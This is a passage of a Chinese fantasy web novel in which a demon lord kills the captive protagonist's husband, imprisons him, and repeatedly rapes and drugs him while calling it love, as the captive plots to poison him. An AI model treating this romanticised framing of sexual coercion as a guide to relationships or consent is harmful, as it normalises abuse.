“石墨,你不要乱来!!”月轻盈察觉石墨是想要做些什么,抓住他的衣袖,连连哭求摇头。 “无碍,你只要知道今日的这一切都与你无关。” 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“哦?既然如此,在你的婚礼上本尊不好打扰,只是本尊的尊后最近下落不明,路过此处,想问问石墨兄有无见到或是听说这附近可有出现一身受重伤的男人?” “在下并未见过听说过。”石墨摇头,目光淡然。 沈砚台视线再度扫了一眼月轻盈,心里的邪火不住蔓延。 “这可就让人苦恼了。”沈砚台视线落在石墨身上,语气冷了下来,“石墨兄今日娶的妻子,方才一见,容貌竟是风华绝代。” “石墨不才,略施小计才娶的这美娇娘。” “是吗?”沈砚台冷哼,眼里闪过杀意:“美娇娘确实美,可是本尊怎么瞧着你今日娶的妻,和我那逃跑的妻子是同一个人?” 石墨的眼里瞬间闪过慌乱,他笑得牵强:“怎会,魔尊的妻子尊后该待在上界才是,我这里可是人间。” “是啊,谁知道我那胆小爱哭的妻子是不是逃到了人间,只为谋一点生机。” 沈砚台一阵惆怅,而后脸色一变,突然伸手死死掐住了石墨的脖子,语气阴寒冰冷。 “说,你是怎么偷到我的妻子的?” 30、第30章 情势变得太快,月轻盈同小妖小怪们看的触目惊心。 石墨眼里闪过心虚,竟是伸手将沈砚台的手打落,转身就要逃脱。 可这座大山早已被下了结界,石墨径直撞到了一堵气墙,被反弹了回来,跌落在地。 沈砚台抓住机会,一个闪身出现在石墨的身旁,抬起一脚直接踩烂了他的胸膛。 石墨噗地吐出大口血,眼里迅速失焦,极速失去的生命力让他反应有些呆滞缓慢。 他慢慢地眨眼,在一片血色中看向了月轻盈,见他泪水湿了衣襟,心里只记挂着让他别哭。 “别……哭……” “好好……活……下去……盈盈……”喉咙里都是血,石墨想说话但是发出的却像是拉风箱的破碎声。 月轻盈龇目欲裂,心如刀绞,满心焦虑痛苦,无声哭着却浸满了悲伤,石墨石墨石墨…… 他和石墨两两相望,眼里的情义无声诉说。 沈砚台解决了石墨,路过一小妖小怪面前,伸手在他额前一点。 小妖小怪都吓的翻白眼了。 “原来如此,竟是将你们的灵台都控制住了,有点本事。” “既然你们无辜,这次便放了你们。” 沈砚台收回手,来到月轻盈面前,伸手抹去他脸上的泪水。 “怎得这么爱哭?” 他在月轻盈面前蹲下,高大的身躯挡住了月轻盈的视线,阻隔了他和石墨的对望。 沈砚台习惯了月轻盈的冷漠,检查了一下他有无受伤。 “还不错,没怎么受伤。” 他抬眼,这才迟缓的发现,从头到尾,从他来到这里的一瞬间,月轻盈至始至终都没有看他一眼! 沈砚台有些不悦。 注意到月轻盈的目光总是落在进气越来越少,出气越来越多的石墨身上,他有些明白过来了。 “你是介怀他用计娶你一事?”沈砚台若有所思道:“也是,想当初让你嫁我,我还花了不少心思,杀了不少人。” 月轻盈落泪的速度更快了。 “这么生气?那我帮你早点解决他!” 沈砚台站起身,朝着石墨走过去,月轻盈瞪大眼,肝胆俱裂。 再度燃烧自己的生命使用了天骨,在发现自己能动的那一刻,他犹如飞蛾扑向火,扑向了石墨,“石墨!” 然而,一切都太迟了,沈砚台弯下腰像是提小鸡一样,在月光下捏着石墨的头。 石墨艰难的看向月轻盈的方向,动了几下唇瓣。 沈砚台注意到他的小动作,耐心耗尽,大掌用力,噗,石墨身死道消。 月轻盈愣住,而后悲痛欲绝,张开口想喊石墨的名字,却因为太过悲伤喉头哽咽发不出半点声音。 他不住的开始抽噎,眼睛都要哭瞎了,石墨,石墨死了。 那个对他好,几次三番救他的石墨,爱调侃他的石墨,在别云间说等着树长大等着他的石墨死了。 月轻盈哭的哽咽不止,身体开始抽搐痉挛起来。 沈砚台见过月轻盈悲伤的样子,在他那两个徒弟死的时候见过。 可是这一次的月轻盈,却像是连魂魄都丢了一样。 沈砚台看的怔然。 居然有人因为他的死哭的跟死了差不多。 虽然那个人是石墨,是他也不是他。 他拧眉,觉得自己的想法有些古怪,摇头甩去杂乱的想法,他靠近月轻盈将他打横抱起。 “小盈受惊了吧,咱们回去了。” 月轻盈哭软了身体,无奈任他将他带走,眸光却频频看向石墨的尸体。 这是他亲近的人,再一次被沈砚台给杀了。 “你为什么总喜欢用杀人来解决事情?”回去的路上,月轻盈还在发怔,唇瓣嗫嚅询问出声。 “为什么?” 沈砚台没有说话。 月轻盈眼瞳滞涩的转动:“没有人天生就是魔,沈砚台你……” “我是。”沈砚台打断了他的话。 两人回到月华宫。 月轻盈被放倒在床上,沈砚台坐在床侧,眼睛直视着他。 “我就是天生冷血,喜杀戮,别天真了月轻盈,我从小到大学到的就是赶尽杀绝,掠夺和欺骗。” “你已经身处高位,明明有更多的方法,为什么还是选择杀人?” “一劳永逸,永绝后患,可以很好的消除掉很多不必要的麻烦。” “可是这些人都比你弱小。” 沈砚台难得跟月轻盈交心,“世事无常,你也不知道哪一天你就会从高处跌落深渊,然后那些比你弱小的人纠集起来,将你给生吞活剥。” 月轻盈默默流泪。 沈砚台忽地笑了:“这个道理你应该比我更懂啊,本该是第一仙尊的你,如今沦为一个什么人做点手脚都能娶你的弱者。” 月轻盈闻言,恨急了沈砚台,恶向胆边生,他忽然挑衅。 “沈砚台,若我说,我是自愿和那魂修成亲的,你会待我如何?” “那个魂修已经被我杀了,我知道尊后是在恼我迟了些来救你。” “可若是我说,我和那魂修早已行过合圆礼,你会不会杀了我?” 沈砚台身躯一震,意味深长的看向月轻盈,“正好,你来比比看,是我凶猛,还是他厉害?” 月轻盈眼睁睁看着沈砚台褪下自己的衣裳,朝自己压了过来。 他又想反抗,沈砚台却有了防备,抬手点在他的额心,让他无法动弹后就可以为所欲为。 “那个魂修也不是毫无用处。” 月轻盈无法动弹,只能被迫承受沈砚台的亲昵。 这之后,月轻盈心如死灰再也没有出过门。 而魔族里却是也传出了不少疑惑的声音。 “听说了吗,花妖他媳妇生了个小花妖!” “听说了,哎呦,花妖可稀罕呢!” “是啊,你说人花妖到成亲生子不过也才几日,怎得魔尊和尊后还没有动静啊?” “我这些时日,可是经常看见魔尊去尊后的房间一待就是好几天不出来呢。” “嘶……你知道的太多了,不怕魔尊给你灭口?” 魔尊尊后成亲后还没有子嗣的事,很快就传到了魔族几位将军的耳朵里。 这日,沈砚台和几位将军开完会,几位将军忽然齐齐上前跪倒,开口就是求他为了子嗣考虑让他纳妾。 “什么?”沈砚台表情高深莫测,怀疑自己听错了。【你现在阅读的是 】 31、第31章 确定麾下几位将军不是在开玩笑,沈砚台情绪有些起来。 他自小到大独来独往惯了,也不是会和别人袒露心事的人。 他不能有子嗣的事,自然连心腹们也是不知道的。 “你们怎会提起这件事?” “臣等主要是想魔尊有了自己的子嗣也能享受天伦之乐了。” “臣等还有一个心愿就是希望魔尊登上成神大位后,由魔尊的血脉继续带领我们成就魔族一统百族的大业。” 没想到自己的几位将军,倒也是如此的野心勃勃。 沈砚台现在还很年轻,刚想用自己还未摸到成神的屏障做为借口,忽然他脑子里闪过一道人影。 “几位将军有心了,既然是你们的心意,那我便纳妾就是了。” 几位将军欣喜若狂,拜别了沈砚台后就去挑选适合妾氏的人选。 月轻盈这些日子被伤的肝肠寸断,加上沈砚台没有节制的折磨,整个人快速的憔悴了下去。 他得知沈砚台纳妾的消息已经是几日后了。 “尊后,宋先生求见。” 月轻盈看都不看狐狸女一眼。 “尊后,求求您就见一见他吧,他如今是魔尊上心的人,我怕他一发怒,到时候连咱们的命都不保啊!” 月轻盈仿若未闻。 狐狸女最后急了,噗通一声跪下,哭求道:“尊后,求您为为我们这些卑贱的小妖着想!” 月轻盈眼睛酸涩,他可以为他们着想,可是当初谁又能为小川小宵石墨着想。 “让他进来吧。”月轻盈许久未说话,如今一开口,沙哑的不成样。 “谢尊后!”狐狸女喜出望外,起身将门打开。 月轻盈收回视线,出神的落在一点,对任何人都不关心不在乎。 宋先灵原身是鸟妖,生的也足够好看,他被选为沈砚台的妾,主要是他们这一族都很能生。 他很早以前就听说过沈砚台做的那些丰功伟绩,听到他准备纳妾后,第一个站出来,让家族推举自己。 他很幸运,因为繁衍能力强被几位将军看中,被推举给了魔尊沈砚台。 沈砚台对他没有意见,他异常激动,一路顺顺利利嫁给他成为了他的妾氏。 只是,这些天里沈砚台却从来不宿在他那里,他有些抑郁寡欢。 一次路过,听聚在路边的小妖说沈砚台又宿在尊后那里,一连几天不出来,这才想起来拜访这位尊后。 尊后月轻盈,原是仙临山第一仙尊,正道落败后,被魔尊拘了。 两人的成亲大殿,他也是去见识过的,他承认他很美,自己与他相比,一个在天一个在地。 可是,既然魔尊愿意纳他为妾,就说明魔尊喜欢他这样的。 在魔尊眼里,他和月轻盈不相上下! 在狐狸女的邀请下,宋先灵抬脚跨过门槛,几个步伐远的距离,他已经将整个房间的布局来来回回打量了好几遍。 最后才将视线放在坐在床榻上的月轻盈身上。 他一身白衣锦缎,长发披散下来如浓墨绸缎,巴掌大的小脸隐在其中,露出美的很有侵略性容貌。 只是他看起来就如行僵就木,没有人气的样子,宋先灵不明白魔尊为什么会对这样的人执着。 他继续打量,这才发现月轻盈遮掩不住的脖子和领口处布满了密密麻麻的吻痕和咬痕。 宋先灵脸色难看,暗骂月轻盈是个贱货。 “见过尊后。”他沉住气,率先开口打破僵局。 他来这里的目的可不光只是来见见这个尊后,他想要的是除掉月轻盈,一个人霸占沈砚台! 听闻动静的月轻盈,微微侧目,看过来的那一双眼睛,异常平静。 “何事?” “无事,只是听闻魔尊这几日都宿在尊后这里,想来跟尊后讨教讨教法子,尊后做了什么如此讨魔尊的欢心?” 月轻盈眼里浮现出苦笑,他摇摇头,仍是没有波澜。 “如若我说是沈砚台自己发疯,你是不是就会回去了?” 宋先灵被下送客令,有些下不了台面,追问道:“不可能!” “大家都是男人,都是一样的身子,我还是鸟族,我屁股翘,可是魔尊并没有要我!” “你真好笑,你来对我说做什么,你该做的是去缠着沈砚台不是吗?” 宋先灵狐疑起来,“我现在在和你争男人,你为什么不生气?” “一个杀了我两个徒儿,一众正道修士,又杀了我夫君的人,我恨他都来不及,怎可能会想和他有牵连?” “什么?夫君!”宋先灵看着月轻盈的眼眸里,带上了清澈的愚蠢。 “那你这个人可真是不要脸,有夫君还嫁给魔尊,贱人!” 狐狸女听宋先灵这样羞辱月轻盈,脸都吓白了。 她虽然不知道月轻盈说的是不是真的,但是魔尊每日都来看他,整日整夜宿在这里都是真的! 魔尊都没说什么,宋先灵说这些一方面是侮辱了月轻盈,一方面也是骂了沈砚台啊! “宋先生还望注意言辞。” 宋先灵看了狐狸女一眼,也知道自己失言,他气发不出去又下不来,把自己哽到了。 “你,反正你就不是好人,我嫁给魔尊时日短,你放心,过些时日魔尊便再也不会踏足你这里半步!” 宋先灵恼怒,摔着袖子走了。 耳边没了吵闹的声音,月轻盈又在放空自己,等他见着天都黑了,耳边听到了熟悉的脚步声,眼里才逐渐爬上了恐惧。 “小盈,一天未见,为夫就又想你了。” “不要过来!”月轻盈猛地转头怒瞪着沈砚台,双手双脚往床里面缩。 一层薄薄的锦缎下,他的手腕、脚腕上已然红肿,全是清晰可见的指印,每一个印记都很深刻。 他遭受了每日承欢的虐待。 沈砚台本就是魔头,一身魔气怎么都用不完,每每都是他被折磨的仿若要去了半条命。 再一次看见沈砚台褪下衣物,月轻盈有些神经质的哭喊着说不要。 “你怎么能不要?” 露出精壮前胸的沈砚台,一步步朝着月轻盈走过去,很是苦恼。 “你可知,因为你还没有孕育出我的子嗣,魔族里的人都在传我不行。” “我麾下的几位将军还张罗着给我纳了妾,可我嫌弃鸟族一嘴毛,我那无处安放的精力就只能找尊后来发泄了。” “你躲什么?这是快乐的事情不是吗?” “不是!”月轻盈歇斯底里,“你这是强迫,你不顾我的意愿,给我下药,封住我的灵台,你的所作所为犹如畜牲!” “那你说,你怎么才能心甘情愿跟我做这种事?”沈砚台上前,伸出手趁着月轻盈情绪激动的时候死死掐了他的脚腕,往身子底下拖拽。 “我永远都不会心甘情愿,我只会甘心跟石墨一起!” “呵,那个魂修?”沈砚台架开月轻盈的修长的双腿,笑得几近嘲讽。 “尊后啊,你怎么还在想着让那个魂修做挡箭牌?” 月轻盈大声哭了出来。 不知道过了多久,沈砚台终于走了,听见门扉合上的声音,月轻盈也已经连手指都抬不起来了。 这样的日子他还要过多久。 更当他为了寻找出路无计可施的时候,忽然他的耳边传来小小的呼唤声。 “师尊?” 这一刻,月轻盈满是不可置信,他勉强自己坐了起来,下地,脚步虚软的靠近窗台。 他抖着手打开窗户,在月光下对视上了一双明亮的眼眸。 月轻盈鼻尖一酸,心脏揪紧,悲从中来,“小河……” 泪水颗颗低落,逐渐模糊了视线,月轻盈不住抬起衣袖擦拭,又怕下一秒小河消失不见了。 “小河,师尊是不是出幻觉了?你怎么在这里?” “师尊,我是小河,我等待了许久终于等到来见你的机会。” “你来见我……”月轻盈哭的上气不接下气,眼里都是愧疚和担心。 他如今被困在沈砚台铸就的这座牢笼里,小河想要见到他,不知道在外面吃了多少苦。 “是啊,师尊我很担心你,也很挂念你,小川师兄小宵师弟离开后,就剩下我们两个相依为命了。” 提到小川小宵,月轻盈更是悲从心中来,“对不起,都是我没有保护好你们。” “不是的,这一切都是沈砚台的错。” “师尊,你不要哭了,对眼睛不好,你看看现在的我。” 闻言,月轻盈稳住情绪,看向小河,一阵打量后他欣慰又心酸的笑了。 “小河又长高了,变俊了,不过无论你怎么变,你都还是师尊心中那个五岁的小娃娃。” “师尊……”说到这里,小河的眼睛也有一点湿润。 “师尊啊,你还记得吗,当初在你和沈砚台成婚礼上,你央求沈砚台放了我还有那些正道修士的事吗?” “记得。”月轻盈点头,无比庆幸自己做了那样的决定。 “师尊,我们现在到处寻找想要铲除魔族的同道中人,我们现在的队伍越来越庞大了,师尊你且再等等,我很快就来救你。” “好……为师相信小河,小河你啊,一向是你们三个师兄弟中最沉稳的那一个。” “谢谢师尊的谬赞,可是师尊,现在我们想要铲除魔尊的事情上出现了一点问题,我这次冒死来找师尊,就是想请师尊帮我们一个忙!” “什么忙?”月轻盈听完后有些焦急,他害怕小河没有防身法宝会让自己受伤。 于是不顾自己生死,毫不吝啬道:“是不是要天骨?为师现在被囚禁在此,即使想做什么也无从下手。” 月轻盈伸手摩挲小河稚气未脱的脸庞,满眼的关切:“小河你想要什么为师都会给你。” 小河一愣,随即笑容很是真诚,他在月轻盈温暖的掌心里蹭蹭。 “不是的师尊,天骨是师尊的就永远都是师尊的,我不会让任何人觊觎师尊的东西。” 他没有卖关子,接着道:“师尊,我们找到了能对付沈砚台的法子,就是这个” 小河将一包东西给了月轻盈,见他低头查看满脸不知所云,便解释了起来。 “这是食灵花的毒,沈砚台吃了它后会魔血凝固,届时他运行不了魔气,就不再是我们的对手,除掉沈砚台就能除掉整个魔族。” 小河双手捧着月轻盈的手,言辞恳切:“师尊,你现在是尊后,是正道唯一能和沈砚台亲密接触的人,徒弟和一干人等望你忍辱负重,给沈砚台下毒!”【你现在阅读的是 】 32、第32章 “小河……”月轻盈满眼心疼,杀死沈砚台本该是他做的事。 到底还是小川小宵的死,让小河在一瞬间成长了,从前清风朗月的小河如今也变得不择手段。 “好,你说的师尊都会去做,只是小河,师尊希望你能收受,师尊不希望你手上沾上人命。” “师尊放心,徒儿的目的只有沈砚台一个,不会滥杀无辜。” 师徒二人又说了一些贴心的话,小河怕暴露行踪便提出离开了。 他走后,双腿和腰臀都剧烈疼痛的月轻盈坐在窗台上,就着月光,手中反复摩挲那一包药粉。 看来他得费心思,先和沈砚台搞好关系了。 翌日。 照常伺候月轻盈的狐狸女,端着清水推开门,就见本该还在踏上休憩的尊后,今日竟是早起了。 他坐在铜镜前,拿着梳子一下下梳理自己绸缎般的长发。 总是聚满了悲伤和怨气的脸,如今变得明亮了许多,皮肤里也多了粉色。 “尊后……” 狐狸女惊讶,却不知道怎么开口,呐呐无言。 月轻盈扫她一眼,自己给自己带上发冠后,主动出声了。 “魔尊……沈砚台在哪里?” 一整夜无止境的索取,月轻盈沙哑的如同拉风箱。 “魔尊这会该是在巡视,还要一会才会回来。”狐狸女小心翼翼打量月轻盈的脸色。 心中猜测两人的关系是否要开始破冰了。 “如此甚好,厨房在哪?我去给魔尊备点吃食。” 狐狸女想说,他们这些魔是不吃食物的,但是想到这能缓和两人关系,便一阵紧密张罗。 一段时间后。 查看完整个魔族境地的沈砚台,带着一身寒霜归来,看见的就是月轻盈端正清雅,坐在桌子前,面前是有着烟火气的食物。 沈砚台挑眉。 月轻盈前一秒还恨他恨的要死,他的手腕胸口肩头都是血淋淋的咬伤,一夜骤变,他怎么好心给他备早饭? “夫人有心了。”沈砚台装作惊喜,走进一看,随意打量,眼瞳里竟然布满了笑意。 这看着很开胃口的白粥里,竟然是被月轻盈下了食灵花毒。 要不是现在还不到揭穿的时候,他真的很想告诉月轻盈。 他就是食灵花毒的解药。 反正有解药在身,沈砚台丝毫不惧,拿起月轻盈为他备的勺子,开了尊口将粥给喝完了。 狐狸女见两人相处,不似先前那般打杀,便悄无声息的退了出去。 一时间,两人周身环绕的便是碗勺相碰的声音。 月轻盈看似镇定,实际手在不受控制的发抖,看着沈砚台一口口将食灵花的毒吞咽下去,他的心剧烈鼓动。 他稍微露出点软意,对他嘘寒问暖,他一定有更多的机会给沈砚台下毒! 他大仇得报的日子指日可待! 月轻盈犹豫了半晌,柔声开口,“好吃吗?” 沈砚台看了他一眼,“好吃。” 不过,一只只敢露出爪子的小猫,如今也敢抓挠人了,实在有趣。 沈砚台起了坏心思,就想吓唬吓唬他,“只是夫人,你是不是在这白粥里加了什么?” 月轻盈顿时脸色发白,脑门上起了一层薄汗。 “怎……怎么了吗?” “很好吃,多谢夫人为我备的吃食。” “你……你喜欢就好。”月轻盈心神放松,用衣袖轻轻在额头点了点。 沈砚台仍不放过他,剩下半碗没吃,突兀开口:“夫人是不是有事求我?” 月轻盈焦心他没有吃下全部的毒药,有些跟不上他的节奏,“什……什么?” “前些日子我做的有些过火,夫人和我闹了很长一段时间的脾气,现在突然想要和我重归于好,应当是有什么事要求我。” “我……我没……”月轻盈一时间想不出有什么事求他,心慌的有些结巴。 见沈砚台不知他的目的,他又逐渐冷静下来,“嗯……确有一事。” “我想出去走走。”月轻盈确实应该出去走走,看看现在百族的情势。 如有必要,他可以暗中联系小河,或者其他和他有同样目的的人,一起联手制裁沈砚台。 “这一点小事,夫人不用经过我的同意,你乃魔族尊后,待我有朝一日使百族俯首称臣,你便是想做什么都如你所愿。” 月轻盈心口如压了一座大山,沈砚台的目的竟然是一统百族。 “好,我会尽快熟悉自己的身份。” “夫人还有什么想要问我的吗?” 月轻盈想了想,他如今装作在意沈砚台,做戏自然也要做足。 他踌躇了半晌,“听闻你纳了妾。” “是。”沈砚台眼眸一闪,他终于提起了这件事。 “你……你纳妾后也日日宿在我这里,以后……能不能也不去那个纳妾那里?”这句话,月轻盈说的极其艰难。 沈砚台闻言,心口大悦,终于月轻盈的眸光也要落在他的身上了吗? “夫人是担心我会宠幸别人后就冷落了你?”沈砚台起了玩心,耐着性子和月轻盈周旋。 月轻盈现在这个求恩宠的样子太可爱了。 “是……”月轻盈闭眼,忍着羞愤,缓声道:“你……你明明说过心悦我。” “我自然是心悦你的,小盈。” 听他说出这句允诺,月轻盈暗地里掐诀,“你会更加心悦我,爱我,不在伤害我。” 他利用情丹,让沈砚台受更深一点的控制。 先前沈砚台对他每日索取,定然是情丹起了作用,只是他没有摸清楚沈砚台的脾性,才会让自己遭罪。 “我沈砚台只心悦小盈一个。” 月轻盈紧张,不敢喘大气,恍惚觉得气氛到了,便迟疑地凑过去,在沈砚台的脸上亲了一口。 见他主动,沈砚台心花怒放。 “嗯……还剩一点粥,你快把他喝了吧。”月轻盈有些忐忑不安。 沈砚台只是扫了一眼粥,便端着碗盯着月轻盈,一勺勺将粥给吃的干净。 “夫人这么尽心为我准备吃的,我也该做点什么回报小盈才是。” “不……不用的。”见他起身,高大的身影将自己笼罩,月轻盈下意识地害怕他靠近自己。 早已看穿他心思的沈砚台,罔顾他的抗拒和害怕,坚持将他抱了起来,往床榻的方向走。 “前些日子我太粗暴了,夫人都被吓到了是不是?” 月轻盈被抱坐在床上,想到沈砚台的粗暴蛮劲,身子有的不受控制的发抖。 他不能泄露对沈砚台的恨意和惧意,会引起他的怀疑。 他抖着唇瓣道:“是,我身上还有很多伤……那……那你温柔点。” 沈砚台见他眼睛里已经蓄满了害怕的泪水,动了恻隐之心,本想放过他,可想到自己刚中的毒不解不行,他终究是褪下衣裳。 “都听夫人的。” 沈砚台伸长脖颈,去够月轻盈玫瑰色的唇瓣。 在月轻盈的刻意讨好下,他和沈砚台之间像是没有了间隙,没有了恩怨一样。 有时,两人还会一同出现。 沈砚台仍然是不放过任何一个借口,喜欢和他亲密。 这日,沈砚台去巡视,月轻盈独自一人在房间里。 他将门窗禁闭,站在铜镜前褪下衣裳,他原本该是白净完好的身躯,上面布满了密密麻麻的红印。 都是沈砚台的气息,都是沈砚台的咬痕,吻痕,他那么霸道又强势,就喜欢在他身上留点东西。 月轻盈身心俱疲,穿好衣裳后,心神一动来到了石墨的别云间。 这里仿若还残留着石墨的气息,月轻盈悲从心中来。 看着这里的湖泊,已经生根发芽的撼天树,还有一只被他照料的很好的雪月兔。 “说好一直等我的,你这个骗子。” 终于是没忍住,肆意宣泄了万般无奈的情绪。。 释放后,他总觉得这样辱没了石墨,便拿出一小捧的花的种子,洒在湖泊不远的地方。 “石墨,我下次再来看见,你放心,我永远都不会忘记你。” 月轻盈越来越愿意出来走走,有时沈砚台不在,他就偷偷去别云间。 将湖泊里的水换成活水,在里面喂养了鱼,种植了很多的果树,还建起了房子。 一日,他正在完善房子的修缮事宜,他突然心悸,接着开始反胃,一连几次干呕。 他怀疑自己是累着了,便回了房间稍作休息。 沈砚台虽然有时候外出巡视,但总会放一段神识在月轻盈身上。 便也知道他这些日子在忙活什么。 突然察觉到他不舒服,脸色有些微妙,领地也不查了,立刻回去了月华宫。 他步伐迈的极大,再快要接近月华宫的时候,忽然一道娇嗔揽住了他。 “夫君。”声音黏黏腻腻的,沈砚台步伐一顿,转过身后便见到了宋先灵。 “宋先灵?”沈砚台看了他一眼,又看了一眼他离这里十万八千元的住所,问道:“你怎么在这里?” 宋先灵有些难堪。 他才在月轻盈面前耀武扬威表示要拿下沈砚台,转头就看到两人亲亲密密成双成对出入。 他也在其他地方等过沈砚台,可是一次都没有等到。 今天不一样,他就在月轻盈的住所前小一会,就抓到了沈砚台。 他看了一眼沈砚台的背后,月轻盈肯定在屋里,沈砚台又来找他了!【你现在阅读的是 】 33-40 第33章 第33章(倒v开始) 怀了魔尊的孩子…… 宋先灵嫉妒, 又不甘心,他隐去眼里的阴沉,上前一步靠近沈砚台, 张口就来。 “夫君, 方才尊后出去了。” “哦?既然尊后不在你也可以回去了。”沈砚台眼里带上了冷意, 他不喜欢跟他耍花招的人。 宋先灵哽住,看着沈砚台拒人千里的姿态,咬咬牙,眉眼带上了哀怨。 “不是的夫君, 我是来找夫君的。” 他说:“我嫁给夫君也有些时日了, 我不是怪罪夫君冷落我,我也知道夫君很忙, 可是……夫君能不能看在我苦等你这么长时日的份上,与我待上一会?” 宋先灵太想和沈砚台在一起了, 有些急切了,但他惯会看人脸色, 冷静了下来, 又柔柔道。 “近日也不知怎地, 我院子里的花开了,路过的小蛇产卵了, 就连我们鸟族也诞生了很多新生儿。 我想,这肯定是我嫁给夫君后, 夫君降于了我一些福气。” 沈砚台怎能听不懂他言辞里的暗示。 想当初, 这个人就是将军们给他找来用已延绵后代。 而他,也是暗藏心机,用他来试探月轻盈的反应。 大家都各怀鬼胎。 不过…… 沈砚台眼眸闪了一下,他最近又过多的将心神放在月轻盈身上, 确实也需要转移一下注意力。 眼前的宋先灵就很衬手。 “既然你说的这么神奇,本尊跟着你一起去瞧瞧便是。” 宋先灵喜出望外,没想到自己这拙劣的谎言,竟然成功了。 “夫君,这边走。” 两人离开了月华宫。 月轻盈对此一无所知。 说来也巧,回到房间后小憩了一会儿,那反胃干呕的反应就消失了。 担心是自己最近太过劳累,便停了日日都去别云间的心思。 这日,他好端端的喝着花胶,忽然觉得这吃食有着腥味,再难入口了。 后来,他仔细观察,觉得自己的身体越来越奇怪了。 一开始是他发现自己开始嗜睡,然后胃口大减,总是反胃,还喜欢吃酸口的梅子。 他思量自己是不是修为不稳,稍稍运行了一下仙力,就立刻喘不上气。 身边又无相识的人,月轻盈思来想去,决定问问狐狸女。 “什么?”初听他的描述,狐狸女的第一反应,就是尊后有了! 他怀了魔尊的孩子! 可先前听他说有夫君,又不知道这孩子是谁的,她一阵发愁。 在月轻盈看来,狐狸女知道他为何如此,但观她表情,便知他这一身毛病恐怕不是好事。 “是不是我有了隐疾?” “不是……就是……”狐狸女支支吾吾,想说又不知道怎么说的样子,急死人了。 月轻盈脸色难看,一颗心七上八下。 “无妨,你且说来听听。” 见尊后也的表情也凝重了起来,狐狸女咬咬牙,道:“不是有了隐疾……是有……” “什么都没有。” 狐狸女的话还没有说完,就被一道沉稳的男声打断。 月轻盈和狐狸女一同朝门外看去,见到了沈砚台。 他不知从哪里回来的,身上裹挟着花香,周身气势也没有寒气。 “魔尊。”狐狸女恭敬道。 “你怎么知道我们在聊什么?”月轻盈看向沈砚台,暗嘲他过于自大。 “你们都在我的掌控下,有什么是我不知道的?” 沈砚台坐在月轻盈的身边,伸手扣住他的手腕,指腹搭了一下他的脉,在他发觉之前悄然收回手。 他脸色如常,竟然一点都不吃惊。 月轻盈会怀孕,这些事都是有迹可循的。 不小心吃了孕丹,这些日子他为了解食灵花的毒,对月轻盈没日没夜的索取。 事实上,他先前对有人怀了他的孩子,会要了他命这事很是应激。 但经过将军们的催生,宋先灵的小心思,他觉得,就算有人怀他的孩子,那这个人选是月轻盈也不错。 总之,他不会让月轻盈活下去,要么胎死腹中,要么一尸两命。 普通魔人怀崽到生子可能要几日或者一段时日,但这是因为他们修为低。 他和月轻盈都已经站在修为最高位。 月轻盈从怀崽到生下来,恐怕得有个一年半载。 这段时日里能发生的事情实在是太多了。 一年半载,想来他的食灵花毒也已经可以成功解了,那时候他就可以将月轻盈连同未出世的孩子一起杀了。 一年半载而已,要不了他多少命数。 月轻盈怀孕的事,他不打算告诉他,真想看看他从别人口中得知他怀孕时,他的表情有多精彩。 为此,他还警告的看了狐狸女一眼,狐狸女立刻惊惧的底下了头。 月轻盈的视线在两人身上看来看去,眼里都是狐疑,总觉得这两个人隐瞒了他什么。 “那你说我不是有了隐疾是怎么了?” “我想你可能是因为射刑,灵台还未完全修复好导致的。” 不是的! 石墨帮他把灵台修复好了! 月轻盈瞪着沈砚台,又想到他现在是在拉进和沈砚台的关系,垂下了眼。 “那我的灵台破损是拜谁所赐?” 这下轮到沈砚台不说话了。 他立刻转移话题,“小盈,我这次来是想告诉你一声,近日我要出门一段时间,这段时日我会让人将你照顾的无微不至,很快我便回来。” 闻言,月轻盈垂着的眼睫轻颤,不敢多问,怕得出来的结果是沈砚台又要去灭了哪个族。 “好,夫君一路上多多小心。” “我要离开的这几日都碰不到小盈,你行行好,今天便让我全都补回来。” 月轻盈脸色一白,忍不住握起了拳头,“你昨晚才……” “我即将离开几日,小盈不想念我吗?” 一句话,仅这一句话就堵住了月轻盈所有的退路。 他闭上眼,再睁开眼时,气势也不虚,“好,但是你要吃完我给你亲手做的雪花糕。” “是跟上次的粥、茶、糖霜、加了料子一样好吃的雪花糕吗?” “是啊,吃不吃?” 沈砚台哼笑,眉眼柔和,眼睛看着月轻盈竟多了几分缱绻。 “吃,小盈就是在里面下毒,我也会吃的干干净净。” 最后,沈砚台将月轻盈和下了毒的雪花糕一起吃的一滴不剩。 第34章 第34章 他怎肯给仇人怀崽 月轻盈醒来的时候, 身边的位置已经没了人,伸手一探,摸到了凉意。 他敛目, 缓缓坐起身, 想着趁身体不病不痛, 去别云间看一看。 他开门出去,路过沁心园的时候,总觉得身后有一道脚步声,驻足查看, 就见狐狸女跟在他身后。 “监视我?”月轻盈有些愠怒。 “不是。”狐狸女摇头, 诚惶诚恐道:“是魔尊嘱咐的,叫我们在他不在的这些时日, 将你照顾好。” 月轻盈吸气,也不能为难狐狸女, 就是别云间去不了了。 他有些遗憾,欲打算回去, 不远处却是走来一行人, 凝神看去, 正是宋先灵等人。 他今日穿的好张扬,身后跟着几个侍从, 领教过他的性子,月轻盈加深了回去的念头。 “小狐狸, 我们回去吧。” 就在主仆二人回去的时候, 一道声音拦住了他们。 “慢着,尊后见到我怎么转身就走了?难道是对我有意见?” 宋先灵眼里有着得意,也是,毕竟魔尊往他那儿去的次数越来越多了。 “不曾, 宋先生莫要多想,我只是突感身体不适,想回去歇着罢了。” “哦?我还以为是尊后介怀魔尊恩宠我,对我心生怨气了呢。” “魔尊恩宠你,这不正是你想要的吗,是好事,愿你们恩恩爱爱夫夫白头。” 月轻盈眉头皱了起来,一开始他是慌称自己不舒服,现在却隐隐开始反胃了。 “算了吧,尊后这话说的不甘不愿,我听着也刺耳。” 宋先灵莫名打量起月轻盈,“几日不见,怎地尊后又消瘦了不少?” 反胃的感觉欲加强烈,月轻盈不想和宋先灵纠缠,快走几步,还是没忍住,唇边溢出了干呕声。 宋先灵嘲笑道:“不会吧,难道是尊后真的不好了?” 见不远处的小狐狸,担心的给月轻盈顺背,准备茶水给他漱口,又给他塞了一颗梅子吃,宋先灵瞧着翻了个大白眼。 有什么好担心的,不就是干呕—— 等等! 干呕?! 宋先灵心中警铃大作! 月轻盈佝偻着背,手扶着园子的栏杆,满脸痛苦干呕,一手抚摸肚子的样子,怎么那么像族中怀孕了的同伴? “小白!”宋先灵黑着脸喊了自己侍从。 这侍从是一只白尾地鸦,他最擅长观察别人的一举一动,猜测他人是否怀有子嗣。 “主子,这尊后确实是怀孕了。” 宋先灵心像是被绑了一块大石头,狠狠下坠! 月轻盈怀孕了! 他有了魔尊的孩子! 